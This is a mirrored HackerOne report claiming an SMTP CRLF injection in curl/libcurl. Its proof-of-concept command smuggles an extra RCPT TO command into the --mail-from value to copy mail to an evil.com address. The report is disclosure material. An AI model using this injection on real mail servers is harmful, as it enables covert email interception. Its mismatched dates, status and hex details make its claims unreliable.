HexBrain

curl · Report #3418616

SMTP CRLF Injection in curl/libcurl via MAIL FROM/RCPT TO parameters

N/Astatus
criticalseverity
8upvotes
10 Nov 2025disclosed

How it was found

SMTP CRLF Injection Vulnerability in curl/libcurl

Vulnerability ID: CURL-SMTP-CRLF-2024

CWE-93: Improper Neutralization of CRLF Sequences

Executive Summary

curl/libcurl contains a CRLF injection vulnerability in its SMTP implementation that allows attackers to inject arbitrary SMTP commands by including CR (\r) and LF (\n) characters in mailbox addresses.

Affected Versions

  • curl 8.17.0 (latest stable) - CONFIRMED VULNERABLE
  • Earlier versions likely affected

Proof of Concept

# Vulnerable command - adds unauthorized recipient
curl --url "smtp://localhost:2525" \
  --mail-from $'[email protected]\r\nRCPT TO:<[email protected]>' \
  --mail-rcpt "[email protected]" \
  --upload-file message.txt

Technical Details

Vulnerable Code Location: lib/smtp.c (lines 838-846)

result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s", 
    from,  // ← No CRLF validation
    auth ? " AUTH=" : "", 
    auth ? auth : "", 
    size ? " SIZE=" : "", 
    size ? size : "", 
    utf8 ? " SMTPUTF8" : "");

Evidence from Raw Network Analysis:

HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0a
TEXT: 'MAIL FROM:<[email protected]\r\nRCPT TO:[email protected]>\r\n'

Reproduction Environment

  • OS: /Linux
  • curl version: 8.17.0
  • Python: 3.11 (for testing server)
  • Testing Method: Local SMTP server analysis

Impact

· Information Disclosure: Unauthorized email copying · Privacy Violation: Secret email interception · Access Control Bypass: Circumvents application-level restrictions · Arbitrary Command Injection: Potential for further SMTP protocol manipulation

Remediation

  1. Input Validation: Reject mailbox addresses containing control characters
  2. Character Escaping: Properly escape CR/LF sequences
  3. Library Patch: Implement validation similar to lib/cookie.c

References

· CWE-93: https://cwe.mitre.org/data/definitions/93.html · curl Security: https://curl.se/docs/security.html

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original